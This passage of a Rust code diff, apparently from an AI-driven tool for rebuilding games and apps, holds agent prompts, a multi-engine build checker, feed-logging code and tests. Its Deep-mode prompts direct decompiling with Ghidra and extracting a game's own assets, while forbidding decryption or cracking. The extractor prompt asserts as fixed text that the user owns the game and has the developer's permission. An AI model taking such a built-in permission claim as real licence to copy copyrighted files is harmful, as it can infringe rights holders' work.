Python script run through UnrealEditor-Cmd", + _ => "e.g. assets/generated/", + }; + let budget = ws.manifest.asset_budget_usd; + let spent = ws.assets_spent(); + let table = Catalogue::built_in(); + // An unknown picture model is reported by the tool itself; the note quotes the default's price. + let picture = table.image_model(image_model).or_else(|_| table.image_model(None)).map(|m| m.cost(Shape::Square)); + let (model_cost, picture_cost) = match (table.model_3d(None).map(|m| m.cost(true)), picture) { + (Ok(model), Ok(picture)) => (format!(" ({} each)", about_usd(model + picture)), format!(" ({})", about_usd(picture))), + _ => (String::new(), String::new()), + }; + format!( + "Realistic assets: you can make them with fal.ai. assets_model_generate makes a textured, game-ready low-poly 3D model (GLB) of one object from a description{model_cost}; set faces to the fewest that still look right (about 500-1500 for small props, 2000-5000 for weapons and vehicles, 6000-15000 for main characters) so the game stays fast; assets_image_generate makes a picture{picture_cost} for textures, skies, backgrounds and menu art. This project's asset budget is ${budget:.2} (${spent:.2} used), so spend it on what the player sees most (the main characters, weapons, vehicles and the level's key props) and use simple shapes for the rest. Save each one inside app/ where the engine loads it ({folder}). Every asset is an original design in the original's style: describe what it is, its shape, materials and colours, never a recognisable character, logo or brand artwork. List each generated file in app/CREDITS.md as made with fal.ai." + ) +} + +/// Sent once when a Deep-mode build turn ended without decompiling anything. +pub(super) const DECOMPILE_FIRST: &str = "You haven't decompiled anything yet, and Deep mode requires it. Do it now: open the original's main program with core_target_open, find the functions behind what you built (native_strings_find for names, settings and messages, then follow the references), and read each with native_function_pseudocode, waiting for every result. Put the real values, formulas and rules into app/MECHANICS.md with their function addresses, change the build to use them, and build it again."; + +/// Deep mode: decompiling the target is required, not optional, before anything is estimated. +/// `game`: point at a game's mechanics rather than the requested features. +pub(super) fn decompile_note(game: bool, ghidra: bool) -> String { + let what = if game { + "the code behind movement, aiming and firing, damage and health, and how enemies behave (native_strings_find for weapon names, settings or console variables, then follow the references to the functions)" + } else { + "the code behind the features the person asked for (native_strings_find for their words, messages and settings, then follow the references to the functions)" + }; + let mut s = format!( + "\n- Deep mode is on: decompile the program before you estimate anything. Open its main program with core_target_open, find {what}, and read each with native_function_pseudocode. Write the constants, formulas and rules you find into app/MECHANICS.md with their function addresses, and mark a value \"estimated\" only after you looked for it in the code. Then write your own code from that sheet: never paste decompiled code into app/." + ); + s.push_str(if ghidra { + " native_function_pseudocode reads the code with Ghidra, which has already analysed the program, so it answers in moments (the first call takes a minute or two while Ghidra opens it). If a call takes long, wait for it: never skip decompiling because it's slow." + } else { + " Ghidra isn't installed, so native_function_pseudocode uses the built-in decompiler, which is rougher: check each value against a second function or the program's files before you trust it." + }); + s +} + +/// Where the extractor lists what it took out (under app/). +pub(super) const ORIGINALS_MANIFEST: &str = "Original/MANIFEST.md"; +/// The extractor's own conversation, kept in the project. +pub(super) const EXTRACT_TRANSCRIPT: &str = "extract-transcript.json"; + +/// What the extractor is asked: take the game's own files out of `folder` into app/Original/. +pub(super) fn extract_brief(folder: &Path) -> String { + format!( + "You are the asset extractor inside REI Reverse Engineer. The person owns this game and has its developer's permission to use its files in a private rebuild on this computer. Take the game's own files out of its folder ({}) into app/Original/ so the builder can use them. You don't build the game.\n\ + - Call enable_toolset with \"formats\". game_archives_list finds the game's archives; game_pak_list, game_iostore_list, game_unity_list and game_unity_bundle_list show what's inside.\n\ + - game_pak_extract takes files out of an Unreal .pak and makes their folders: a `file` ending in `/` (for example Game/Content/UI/) takes that whole folder in one call into the folder `output`, keeping its layout; when it says files are left, call it again the same way to carry on.\n\ + - Pictures: game_unreal_texture_export (with permission: true) or game_unity_asset_export, saved as PNG. Sounds and models: take them out with game_pak_extract as they are; convert them only with a converter you set up inside app/Original/tools/.\n\ + - Read the archives only with these tools; never write your own archive reader or parser. When a tool fails, read its error, fix the call and try again; if a tool can't do something, say so in your summary.\n\ + - Keep the game's folder layout under app/Original/ (for example app/Original/Content/UI/Logo.png). Take what a rebuild needs first: the player's view (arms and weapons), the main enemies, the level's materials and props, the interface and its fonts, and the sounds and music.\n\ + - Never decrypt, crack or bypass protection: an encrypted archive stays closed; say so and move on.\n\ + - When you're done, write app/{ORIGINALS_MANIFEST}: one line per file with its path under app/Original/, its source path in the game and what it is. Then say in 2-3 plain sentences what you took out and what you couldn't.", + folder.display() + ) +} + +/// Told to the builder when the extractor left the original's files in app/Original/. +pub(super) const ORIGINALS_READY: &str = "\n\nThe original game's own files are already taken out for you in app/Original/ (app/Original/MANIFEST.md lists each one with its source in the game), by the extraction step the person set up, under their permission. Import them into the project and use them, and list the ones you use in app/CREDITS.md. Take nothing more out of the game folder unless something you need is missing."; + +/// The line a Deep-mode game that uses the original's files starts app/README.md with +/// (`CreditsCheck` looks for it as written). +pub(super) const PRIVATE_USE_NOTE: &str = "This build contains the original game's own files, for the private use of the person who owns the game, on their own computer. It must not be shared or published."; + +/// How to rebuild a game faithfully: the real numbers first, and in Deep mode only, decompiling and +/// the original's own readable files used 1:1 for the person's private copy (never decrypted); +/// Clean room copies none of its files. `generated`: the person chose generated assets, so new +/// models and pictures replace the original's art (in Deep mode its sounds, music, fonts, +/// animations and maps are still used). +pub(super) fn game_steps(deep: bool, ghidra: bool, has_target: bool, generated: bool) -> String { + let mut s = String::from( + "Making it play like the original:\n\ + - Start app/MECHANICS.md: every number that shapes how it plays. Movement (walk and run speed, acceleration, friction, air control, jump height, gravity, crouch), camera (field of view, mouse sensitivity), each weapon (damage, fire rate, magazine, reload time, spread, recoil, range), health and armour, respawn, scoring, modes, timers, and how computer players behave. Next to each value say where it came from (a file in the game's folder, a function address or evidence id) or mark it \"estimated\". Build from that sheet and keep it up to date.\n\ + - Match the controls and key bindings, the on-screen information and where it sits, and the rules of each mode.", + ); + s.push_str("\n- "); + s.push_str(super::kinds::mechanics::MECHANICS_CONTRACT); + if has_target { + if deep { + s.push_str(&decompile_note(true, ghidra)); + } else { + s.push_str("\n- Clean room is on: don't open, read, list or decompile the game's files or code. Work from the person's description, the pictures and any documentation they give, and mark the numbers you estimate. If exact values matter, tell the person they can switch on Deep mode."); + } + s.push_str("\n- We can't watch the original running on this computer yet. For how it looks in play, use the pictures in reference/; when something about how it behaves isn't in the evidence, ask the person with core_person_ask."); + if !deep { + let make = if generated { + "Make the models, textures and UI pictures with assets_model_generate and assets_image_generate, and your own sounds, music, fonts and maps" + } else { + "Make your own simple versions" + }; + s.push_str(&format!( + "\n- Art, sounds, models, animations, maps and UI: Clean room is on, so take nothing from the original game's files. {make} in the original's style: the same role, size, palette and feel, from the pictures and how it plays, without reproducing logos or trademarks. If the person wants the original's own art, tell them it needs Deep mode." + )); + return s; + } + let (lead, bring) = if generated { + ( + "- Models, textures and UI pictures: the person chose to generate new ones, so make them with assets_model_generate and assets_image_generate in the original's style instead of copying the original's.\n- Sounds, music, fonts, animations and maps: the person wants them 1:1 from the original game's own files", + "the sounds, music, fonts, animations and maps", + ) + } else { + ( + "- Art, sounds, models, animations, maps and UI: the person wants a 1:1 copy made with the original game's own files", + "the models, animations, textures, sounds, music, fonts, UI images and maps", + ) + }; + s.push_str(&format!( + "\n{lead}, from their own installed copy. Use the originals wherever they can be read: bring {bring} from the game folder into the project (converting formats as the engine needs), for the person's own use on this computer. REI Reverse Engineer's own tools read game archives, so use them first: call enable_toolset with \"formats\", then game_archives_list finds the game's archives, game_pak_list, game_iostore_list, game_unity_list and game_unity_bundle_list show what's inside, game_pak_extract takes files out of an Unreal .pak, and game_unreal_texture_export (with permission: true, since the person asked for the originals) and game_unity_asset_export save pictures as PNG. Set up another converter only for what these can't convert yet (such as models and sounds), and keep it inside the project folder. Never decrypt, crack or bypass encryption or copy protection: files inside encrypted archives (for example encrypted .pak, .utoc or .ucas files) stay closed. Recreate those as closely as you can from the pictures, the game's readable data and how it plays, in the same role, size, palette and feel, without reproducing logos or trademarks. List every original file you used in app/CREDITS.md with its source path, and start app/README.md with this line, as written: \"{PRIVATE_USE_NOTE}\" REI Reverse Engineer checks both after each build.", + )); + } + s +} + +/// The pictures of the original the person added: the look to match, and (for programs, which +/// we can't photograph like a website) how the builder can see its own result to compare. +pub(super) fn pictures_note(ws: &Workspace, kind: &dyn TargetKind) -> Option { + let pics = ws.references(); + if pics.is_empty() { + return None; + } + let names = pics.iter().filter_map(|p| p.file_name()).map(|n| format!("reference/{}", n.to_string_lossy())).collect::>().join(", "); + let mut s = format!( + "The person added {} picture(s) of the original: {names}. They show the result they expect. Open every one with the Read tool before you plan, and match what they show: the camera or view, the on-screen layout (menus, HUD, panels) and where each part sits, the colours and lighting, the look of surfaces and characters, and the proportions and scale. Make your own artwork in that style; don't trace or copy logos, characters or other artwork from them.", + pics.len() + ); + if kind.self_screenshots() { + s.push_str(" After each build, run the program with --screenshot to a file inside app/ (for example app/shots/now.png), open that picture with Read, compare it with each picture of the original, and fix the biggest differences first."); + } + Some(s) +} + +/// A short reminder for later rounds, so pictures added after the first build count too. +pub(super) fn pictures_reminder(ws: &Workspace) -> String { + let n = ws.references().len(); + if n == 0 { + return String::new(); + } + format!( + "\n\nKeep matching the {n} picture(s) of the original in reference/ (open any you haven't looked at yet), and compare a fresh screenshot of your build with them before you reply." + ) +} + +pub(super) fn added_prompt(notes: &[String]) -> String { + let list = notes.iter().map(|n| format!("- {n}")).collect::>().join("\n"); + format!( + "While you were working, the person added:\n{list}\n\nTake this into account now: change app/ as needed, build again and fix any errors. Reply with 1-3 plain sentences on what you changed." + ) +} + +/// For an agent continuing its own session after its last run stopped part-way (paused, the app +/// closed, or the computer stopped). +pub(super) fn continue_prompt(kind: &dyn TargetKind) -> String { + let build = kind.rebuild_words(); + format!( + "Your last run stopped before it finished (it was paused, or the app or the computer stopped). Everything you made so far is in app/. Pick up where you left off: see what's done and what's left (your checklist and core_unknowns_show), finish the task, then {build}, fix any errors and check it with rebuild_check. Reply with 1-3 plain sentences on what you did." + ) +} + +pub(super) fn follow_up(message: &str, kind: &dyn TargetKind) -> String { + let build = kind.rebuild_words(); + format!( + "The person asks: \"{message}\"\n\nMake the change in app/, then {build}, fix any errors and check it with rebuild_check. Reply with 1-3 plain sentences on what changed." + ) +} diff --git a/desktop/crates/ai/src/rebuild/check.rs b/desktop/crates/ai/src/rebuild/check.rs new file mode 100644 index 0000000..4179a48 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/check.rs @@ -0,0 +1,152 @@ +//! Building a project with its own tools (cargo, npm, or the game engine's), for [`BuildCheck`]. + +use super::*; + +/// For non-website builds: run the project's build (its engine's own, for Unity, Unreal and +/// Godot) and report whether it succeeded, with a note (the first error lines when it didn't). +/// `place` says where `app` is, for messages (`Workspace::app_place`). +pub(super) fn build_check(app: &Path, place: &str, stack: &str, editor: Option<&Path>, stop: &CancelToken) -> (bool, String) { + let run = |prog: &Path, args: &[String], minutes: u64| { + let s = stop.clone(); + craft_anything_platform::Process::new(prog) + .args(args) + .cwd(app) + .timeout(Duration::from_secs(minutes * 60)) + // Engines go quiet for long stretches (shader compiles, cooking, a cold cargo build). + .idle_timeout(Duration::from_secs(60 * 60)) + .stdout_cap(8 << 20) + .cancel_when(move || s.is_cancelled()) + .run() + .map(|o| (o.success, format!("{}{}", o.stdout_text(), o.stderr_text()))) + .map_err(|e| format!("Couldn't run the build: {}", e.message)) + }; + let app_s = app.display().to_string(); + let built = || packaged_program(&app.join("Build")).is_some(); + let result: Result<(bool, String), String> = match (engine_for(stack, app), editor) { + (Some(game::Builder::Unity), Some(ed)) => { + if !app.join("Assets").is_dir() { + return (false, format!("No Unity project found in {place} yet.")); + } + let args = ["-batchmode", "-quit", "-nographics", "-projectPath", &app_s, "-executeMethod", "CraftBuild.Build", "-logFile", "-"].map(String::from); + run(ed, &args, 4 * 60).map(|(ok, out)| { + if out.contains("No valid Unity Editor license") { + (false, "Unity needs its free licence first: open Unity Hub, sign in and accept the Personal licence, then try again.".into()) + } else { + (ok && built(), out) + } + }) + } + (Some(game::Builder::Unreal), Some(ed)) => { + let Some(uproject) = uproject(app) else { + return (false, format!("No Unreal project (.uproject) found in {place} yet.")); + }; + // The editor is /Engine/Binaries//UnrealEditor; its packager is beside it. + let Some(root) = ed.ancestors().nth(4) else { return (false, "Couldn't find Unreal's build tools.".into()) }; + let uat = root.join("Engine/Build/BatchFiles").join(if cfg!(windows) { "RunUAT.bat" } else { "RunUAT.sh" }); + let platform = if cfg!(windows) { + "Win64" + } else if cfg!(target_os = "macos") { + "Mac" + } else { + "Linux" + }; + let args = vec![ + "BuildCookRun".to_string(), + format!("-project={}", uproject.display()), + format!("-platform={platform}"), + "-clientconfig=Development".into(), + "-build".into(), + "-cook".into(), + "-stage".into(), + "-pak".into(), + "-archive".into(), + format!("-archivedirectory={}", app.join("Build").display()), + "-unattended".into(), + "-utf8output".into(), + "-nop4".into(), + ]; + // A first Unreal build compiles and cooks for a long while. Run RunUAT.bat directly: + // std quotes .bat launches itself, whereas `cmd /C "" ""` strips the quotes. + run(&uat, &args, 8 * 60).map(|(ok, out)| (ok && built(), out)) + } + (Some(game::Builder::Godot), Some(ed)) => { + if !app.join("project.godot").is_file() { + return (false, format!("No Godot project (project.godot) found in {place} yet.")); + } + let import = ["--headless", "--path", &app_s, "--import"].map(String::from); + let play = ["--headless", "--path", &app_s, "--quit-after", "120"].map(String::from); + // Godot exits cleanly even when scripts fail, so its error lines decide. + run(ed, &import, 60).and_then(|(_, a)| run(ed, &play, 10).map(|(ok, b)| (ok, a + &b))).map(|(ok, out)| { + let bad = out.lines().any(|l| l.contains("SCRIPT ERROR") || l.contains("Parse Error") || l.trim_start().starts_with("ERROR:")); + (ok && !bad, out) + }) + } + _ if app.join("Cargo.toml").is_file() => run(Path::new("cargo"), &["build".into(), "--quiet".into()], 2 * 60), + _ if app.join("package.json").is_file() => run(Path::new(if cfg!(windows) { "npm.cmd" } else { "npm" }), &["run".into(), "build".into()], 2 * 60), + _ => return (false, format!("No project to build found in {place} yet.")), + }; + match result { + Ok((true, _)) => (true, "Build succeeded.".into()), + Ok((false, out)) => (false, format!("Build failed: {}", error_lines(&out))), + Err(e) => (false, e), + } +} + +/// The engine whose own build runs: the stack's, unless app/ holds another kind of project +/// rather than the engine's. What was built decides, since the person may have asked for +/// something other than the engine picked at the start. +fn engine_for(stack: &str, app: &Path) -> Option { + let own_project = app.join("Cargo.toml").is_file() || app.join("package.json").is_file(); + game::Builder::from_stack(stack).filter(|b| !own_project || engine_project(*b, app)) +} + +/// The Unreal project file in `app`, if there is one. +fn uproject(app: &Path) -> Option { + std::fs::read_dir(app).into_iter().flatten().flatten().map(|e| e.path()).find(|p| p.extension().is_some_and(|x| x == "uproject")) +} + +/// Whether `app` holds a project of the engine `b` builds with (Rust's is an ordinary cargo one). +fn engine_project(b: game::Builder, app: &Path) -> bool { + match b { + game::Builder::Unity => app.join("Assets").is_dir(), + game::Builder::Unreal => uproject(app).is_some(), + game::Builder::Godot => app.join("project.godot").is_file(), + game::Builder::Rust => false, + } +} + +/// The lines that explain a failed build: error lines first, else the last lines. +pub(super) fn error_lines(out: &str) -> String { + let lines: Vec<&str> = out.lines().filter(|l| !l.trim().is_empty()).collect(); + let errors: Vec<&str> = lines.iter().copied().filter(|l| l.to_ascii_lowercase().contains("error") || l.contains("licen")).take(12).collect(); + if errors.is_empty() { lines[lines.len().saturating_sub(12)..].join("\n") } else { errors.join("\n") } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_build_follows_what_was_built_not_the_stack_picked_first() { + let d = tempfile::tempdir().unwrap(); + let app = d.path(); + // nothing built yet: the engine's build says what's missing + assert_eq!(engine_for("Unity", app), Some(game::Builder::Unity)); + // the person asked for something else and got it: npm or cargo builds it + std::fs::write(app.join("package.json"), "{}").unwrap(); + assert_eq!(engine_for("Unity", app), None); + assert_eq!(engine_for("Godot", app), None); + assert_eq!(engine_for("Unreal Engine", app), None); + // an engine's own project is built by the engine, whatever else is beside it + std::fs::create_dir(app.join("Assets")).unwrap(); + assert_eq!(engine_for("Unity", app), Some(game::Builder::Unity)); + std::fs::write(app.join("project.godot"), "").unwrap(); + assert_eq!(engine_for("Godot", app), Some(game::Builder::Godot)); + std::fs::write(app.join("Game.uproject"), "{}").unwrap(); + assert_eq!(engine_for("Unreal Engine", app), Some(game::Builder::Unreal)); + // stacks without an engine of their own + assert_eq!(engine_for("Electron", app), None); + std::fs::write(app.join("Cargo.toml"), "").unwrap(); + assert_eq!(engine_for("Rust + macroquad", app), None); + } +} diff --git a/desktop/crates/ai/src/rebuild/feed.rs b/desktop/crates/ai/src/rebuild/feed.rs new file mode 100644 index 0000000..73ee002 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/feed.rs @@ -0,0 +1,224 @@ +//! A run's side of the project conversation: folding workflow events into the feed and keeping +//! it saved as the run goes. The feed itself (its items and file) is `engine::feed`. + +pub use craft_anything_engine::feed::*; + +use super::activity::{Activity, ActivityFile}; +use super::*; + +/// Fold one workflow event into the feed. +pub fn apply(feed: &mut Vec, e: &RunEvent) { + let end_stream = |feed: &mut Vec| { + if let Some(FeedItem::Agent { streaming, .. }) = feed.last_mut() { + *streaming = false; + } + }; + match e { + RunEvent::Step { step, text } => { + end_stream(feed); + feed.push(FeedItem::Step { step: *step, text: text.clone() }); + } + RunEvent::Agent(AgentEvent::TextDelta { text }) => match feed.last_mut() { + Some(FeedItem::Agent { text: t, streaming: true }) => t.push_str(text), + _ => feed.push(FeedItem::Agent { text: text.clone(), streaming: true }), + }, + // The builder's checklist: one list, updated in place. + // Claude Code's TodoWrite, or our build_checklist (same shape) for API builders. + RunEvent::Agent(AgentEvent::ToolStarted { tool, input, .. }) if tool == "TodoWrite" || tool == "build_checklist" => { + if let Some(steps) = plan_from(input) { + match feed.iter_mut().find_map(|i| if let FeedItem::Plan(p) = i { Some(p) } else { None }) { + Some(p) => *p = steps, + None => feed.push(FeedItem::Plan(steps)), + } + } + } + RunEvent::Agent(AgentEvent::ToolStarted { tool, .. }) => { + end_stream(feed); + match feed.last_mut() { + Some(FeedItem::Work { tools, .. }) => tools.push((tool.clone(), None)), + _ => feed.push(FeedItem::Work { tools: vec![(tool.clone(), None)], notes: Vec::new() }), + } + } + RunEvent::Agent(AgentEvent::ToolFinished { tool, ok, .. }) => { + for item in feed.iter_mut().rev() { + if let FeedItem::Work { tools, .. } = item + && let Some(slot) = tools.iter_mut().rev().find(|(t, done)| t == tool && done.is_none()) + { + slot.1 = Some(*ok); + break; + } + } + } + RunEvent::Agent(AgentEvent::Status { text }) => match feed.last_mut() { + Some(FeedItem::Work { notes, .. }) => notes.push(text.clone()), + _ => feed.push(FeedItem::Work { tools: Vec::new(), notes: vec![text.clone()] }), + }, + // For the activity log; it doesn't interrupt what the builder is saying. + RunEvent::Agent(AgentEvent::Output { .. }) => {} + RunEvent::Agent(AgentEvent::Error { message, remediation, log }) => { + end_stream(feed); + feed.push(FeedItem::Error { message: message.clone(), remediation: remediation.clone(), log: log.clone() }); + } + RunEvent::Agent(_) => end_stream(feed), + RunEvent::Note(shown) => { + end_stream(feed); + feed.push(FeedItem::User(shown.clone())); + } + RunEvent::Ask(r) => feed.push(FeedItem::Ask { request: r.clone(), answer: None }), + RunEvent::Checked(c) => feed.push(FeedItem::Check(c.clone())), + RunEvent::Preview(_) => {} + RunEvent::Finished { ok, message, paused } => { + end_stream(feed); + // An agent error already explains itself; don't say it twice. + let explained = matches!(feed.last(), Some(FeedItem::Error { .. })); + if *paused { + feed.push(FeedItem::Paused); + } else if !ok && !explained { + feed.push(FeedItem::Error { message: message.clone(), remediation: None, log: None }); + } + } + } +} + +/// The steps of a TodoWrite call (`{todos: [{content, activeForm, status}]}`). +pub fn plan_from(input: &Value) -> Option> { + input + .get("todos")? + .as_array()? + .iter() + .map(|t| { + let text = t.get("content")?.as_str()?.to_string(); + let doing = t.get("activeForm").and_then(Value::as_str).unwrap_or(&text).to_string(); + let status = match t.get("status")?.as_str()? { + "completed" => PlanStatus::Done, + "in_progress" => PlanStatus::Doing, + _ => PlanStatus::Todo, + }; + Some(PlanStep { text, doing, status }) + }) + .collect() +} + +/// A run's feed: every event goes in, and it's saved at most every couple of seconds while it +/// changes and at once when the run ends. +pub(super) struct FeedLog { + root: PathBuf, + feed: Vec, + saved_at: Option, + activity: Arc, + log: ActivityFile, +} + +impl FeedLog { + pub(super) fn open(ws: &Workspace) -> FeedLog { + let activity = Arc::new(Activity::new(vec![ws.app_dir(), ws.root.clone()])); + FeedLog { root: ws.root.clone(), feed: load(ws), saved_at: None, activity, log: ActivityFile::new(&ws.root) } + } + + pub(super) fn activity(&self) -> Arc { + self.activity.clone() + } + + pub(super) fn record(&mut self, e: &RunEvent) { + let lines = self.activity.record(e); + self.log.append(&lines, &self.activity); + apply(&mut self.feed, e); + self.save(matches!(e, RunEvent::Finished { .. })); + } + + pub(super) fn items(&self) -> &[FeedItem] { + &self.feed + } + + pub(super) fn push(&mut self, item: FeedItem) { + self.feed.push(item); + self.save(true); + } + + pub(super) fn answered(&mut self, id: &str, shown: &str) { + answered(&mut self.feed, id, shown); + self.save(true); + } + + fn save(&mut self, now: bool) { + if !now && self.saved_at.is_some_and(|t| t.elapsed() < Duration::from_secs(2)) { + return; + } + // Answers given elsewhere while it runs (the CLI, an agent's project_inbox_answer) went + // into the file; keep them. + if let Ok(ws) = Workspace::open(&self.root) { + for item in load(&ws) { + if let FeedItem::Ask { request, answer: Some(a) } = item { + answered(&mut self.feed, &request.id, &a); + } + } + } + if let Err(e) = save(&self.root, &self.feed) { + log::warn!("couldn't save the project's feed: {}", e.message); + } + self.saved_at = Some(std::time::Instant::now()); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn every_event_counts_as_activity() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "x", "y", TargetRef::None).unwrap(); + let mut log = FeedLog::open(&ws); + let activity = log.activity(); + // Well apart: recording saves files, which takes a while on a busy machine. + std::thread::sleep(Duration::from_millis(1500)); + assert!(activity.quiet_for() >= Duration::from_millis(1500)); + log.record(&RunEvent::Step { step: Step::Study, text: "Looking".into() }); + assert!(activity.quiet_for() < Duration::from_millis(1500)); + } + + #[test] + fn the_builders_checklist_is_one_list_updated_in_place() { + let todo = |status: &str| { + json!({"todos": [ + {"content": "Lay out the arena", "activeForm": "Laying out the arena", "status": "completed"}, + {"content": "Add the snake", "activeForm": "Adding the snake", "status": status}, + ]}) + }; + let call = |status: &str| RunEvent::Agent(AgentEvent::ToolStarted { call_id: "t".into(), tool: "TodoWrite".into(), input: todo(status) }); + let mut feed = vec![FeedItem::User("A snake game".into())]; + apply(&mut feed, &call("in_progress")); + apply(&mut feed, &RunEvent::Agent(AgentEvent::TextDelta { text: "Working.".into() })); + apply(&mut feed, &call("completed")); + let plans: Vec<_> = feed.iter().filter_map(|f| if let FeedItem::Plan(p) = f { Some(p) } else { None }).collect(); + assert_eq!(plans.len(), 1, "one checklist, updated in place"); + assert_eq!(plans[0][0].doing, "Laying out the arena"); + assert!(plans[0].iter().all(|s| s.status == PlanStatus::Done)); + assert!(!feed.iter().any(|f| matches!(f, FeedItem::Work { .. })), "the checklist isn't tool work"); + assert!(plan_from(&json!({"todos": "nope"})).is_none()); + // An API builder's build_checklist is the same list. + let mut feed2 = Vec::new(); + apply(&mut feed2, &RunEvent::Agent(AgentEvent::ToolStarted { call_id: "c".into(), tool: "build_checklist".into(), input: todo("in_progress") })); + assert!(matches!(feed2.as_slice(), [FeedItem::Plan(p)] if p.len() == 2)); + } + + #[test] + fn a_run_keeps_the_feed_in_the_project() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "x", "Clone it", TargetRef::None).unwrap(); + let mut log = FeedLog::open(&ws); + log.push(FeedItem::User("Make it blue".into())); + log.record(&RunEvent::Agent(AgentEvent::TextDelta { text: "Done.".into() })); + log.record(&RunEvent::Finished { ok: true, message: "Ready.".into(), paused: false }); + assert!(matches!(load(&ws).as_slice(), [FeedItem::User(a), FeedItem::User(b), FeedItem::Agent { text, streaming: false }] + if a == "Clone it" && b == "Make it blue" && text == "Done.")); + // An answer written to the file by someone else while it runs survives the run's saves. + let inbox = Inbox::new(ws.inbox_dir()); + let id = inbox.post(craft_anything_engine::inbox::RequestKind::Question, "Blue?", "", vec![], true, None).unwrap(); + let q = inbox.pending().into_iter().find(|r| r.id == id).unwrap(); + log.record(&RunEvent::Ask(q.clone())); + record_answer(&ws, &q, "Yes").unwrap(); + log.record(&RunEvent::Finished { ok: true, message: "Ready.".into(), paused: false }); + assert!(load(&ws).iter().any(|i| matches!(i, FeedItem::Ask { answer: Some(a), .. } if a == "Yes"))); + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/app.rs b/desktop/crates/ai/src/rebuild/kinds/app.rs new file mode 100644 index 0000000..b6d6ee3 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/app.rs @@ -0,0 +1,66 @@ +//! Desktop apps: the fallback kind. Checked by building; in Deep mode the builder must +//! decompile a program target first and keep the mechanics sheet, which is checked too. + +use super::*; + +pub struct AppKind; + +/// What a console program's brief asks for, instead of a picture. +pub const RUNS_BRIEF: &str = "The original is a console program, so it's compared by its runs: capture/runs/ holds, for each input it was run with, what it printed and how it exited. Make the rebuild a console program that prints the same text for each input (its own name may differ) and exits the same way. REI Reverse Engineer runs yours with the same inputs after each build and checks each one; rebuild_check shows you the result while you work."; + +impl AppKind { + pub const ID: &'static str = "app"; +} + +impl TargetKind for AppKind { + fn id(&self) -> &'static str { + Self::ID + } + + fn words(&self) -> KindWords { + KindWords { + button: "Open the app", + icon: "app-window", + ready: "Your app is ready", + change_hint: "Ask for a change, e.g. \"bigger buttons\" or \"add a dark mode\"", + } + } + + fn detect(&self, _cx: &DetectCx) -> Option { + // Whatever isn't recognised as something else is an app. + Some(1) + } + + /// A console program is rebuilt as one; anything else as a windowed app. Telling them apart + /// reads the program, so only in Deep mode. + fn default_stack(&self, cx: &DetectCx) -> &'static str { + match cx.target { + TargetRef::Local { path } if cx.deep && runs::is_console(&locate(path, false).0) => "Rust (console)", + _ => "Rust + egui (eframe)", + } + } + + fn goal(&self) -> &'static str { + "a desktop app with the same core features" + } + + fn brief_sections(&self, cx: &BriefCx) -> Vec { + let mut s = Vec::new(); + if cx.deep && matches!(cx.ws.manifest.target, TargetRef::Local { .. }) { + s.push(decompile_note(false, cx.ghidra).trim_start().to_string()); + s.push(mechanics::MECHANICS_CONTRACT.to_string()); + } + // A console program is compared by its runs, not pictured. + if runs::captured(cx.ws).is_empty() { + s.push(screenshot::SCREENSHOT_CONTRACT.to_string()); + } else { + s.push(RUNS_BRIEF.to_string()); + } + s + } + + fn checks(&self, _ws: &Workspace) -> Vec> { + // The sheet is asked for only when Deep mode decompiles a program target. + vec![Box::new(BuildCheck), Box::new(RunsCheck), Box::new(ScreenshotCheck), Box::new(DeepOnly(MechanicsCheck))] + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/game.rs b/desktop/crates/ai/src/rebuild/kinds/game.rs new file mode 100644 index 0000000..fe28275 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/game.rs @@ -0,0 +1,193 @@ +//! Games: built with a game engine (or Rust), studied with the game's own folder, and told how +//! to play like the original (mechanics sheet, decompiling in Deep mode, generated assets). + +use super::*; +use craft_anything_engines::game; + +/// Told to a resumed builder when the person turned generated assets off after some were made. +const ASSETS_NOW_OFF: &str = + "Generated assets are now off for this project: don't make more with assets_image_generate or assets_model_generate. Keep the ones already in app/."; + +pub struct GameKind; + +impl GameKind { + pub const ID: &'static str = "game"; +} + +impl TargetKind for GameKind { + fn id(&self) -> &'static str { + Self::ID + } + + fn words(&self) -> KindWords { + KindWords { + button: "Play the game", + icon: "play", + ready: "Your game is ready", + change_hint: "Ask for a change, e.g. \"make it faster\" or \"add a high-score table\"", + } + } + + fn detect(&self, cx: &DetectCx) -> Option { + // Built with a game engine (the person picked a game on Make): a game whatever its words + // say ("Clone 1:1" never says "game"). + if game::Builder::from_stack(cx.stack).is_some() { + Some(200) + } else if cx.says(&["game", "gameplay", "steam", "level", "player", "游戏", "遊戲", "玩法"]) { + Some(60) + } else { + None + } + } + + /// The original's own engine when the target is a game made with one we can build with + /// (Unreal, Godot), else Unity. Finding it reads the game's files, so only in Deep mode. The + /// person can still pick another before starting. + fn default_stack(&self, cx: &DetectCx) -> &'static str { + let made = match cx.target { + TargetRef::Local { path } if cx.deep => game_folder(path).and_then(|f| game::detect(&f)).map(|f| f.engine), + _ => None, + }; + game::Builder::for_game(made).stack() + } + + /// An engine named in the request ("…in Rust", "with Godot"), as whole words. + fn named_stack(&self, cx: &DetectCx) -> Option<&'static str> { + game::Builder::ALL + .into_iter() + .find(|b| { + let n = b.name().to_lowercase(); + let short = n.split(' ').next().unwrap_or(&n).to_string(); + [&n, &short].iter().any(|w| ["in", "with", "using"].iter().any(|p| cx.words.contains(&format!(" {p} {w} ")))) + }) + .map(game::Builder::stack) + } + + fn studies_folder(&self) -> bool { + true + } + + fn goal(&self) -> &'static str { + "a playable game that plays like the original: the same rules, controls, numbers and feel" + } + + fn brief_sections(&self, cx: &BriefCx) -> Vec { + let target = &cx.ws.manifest.target; + if matches!(target, TargetRef::Website { .. }) { + return vec![screenshot::SCREENSHOT_CONTRACT.to_string(), self_test::SELF_TEST_CONTRACT.to_string()]; + } + // Paid, so only when the person turned it on for this project and a key is set up. + let generated = cx.assets && cx.ws.manifest.generate_assets; + let mut s = vec![game_steps(cx.deep, cx.ghidra, matches!(target, TargetRef::Local { .. }), generated)]; + if generated { + s.push(assets_note(cx.ws, cx.image_model)); + } + s.push(screenshot::SCREENSHOT_CONTRACT.to_string()); + s.push(self_test::SELF_TEST_CONTRACT.to_string()); + s + } + + /// The person may have turned generated assets on (or added a key) or off since the brief. + fn 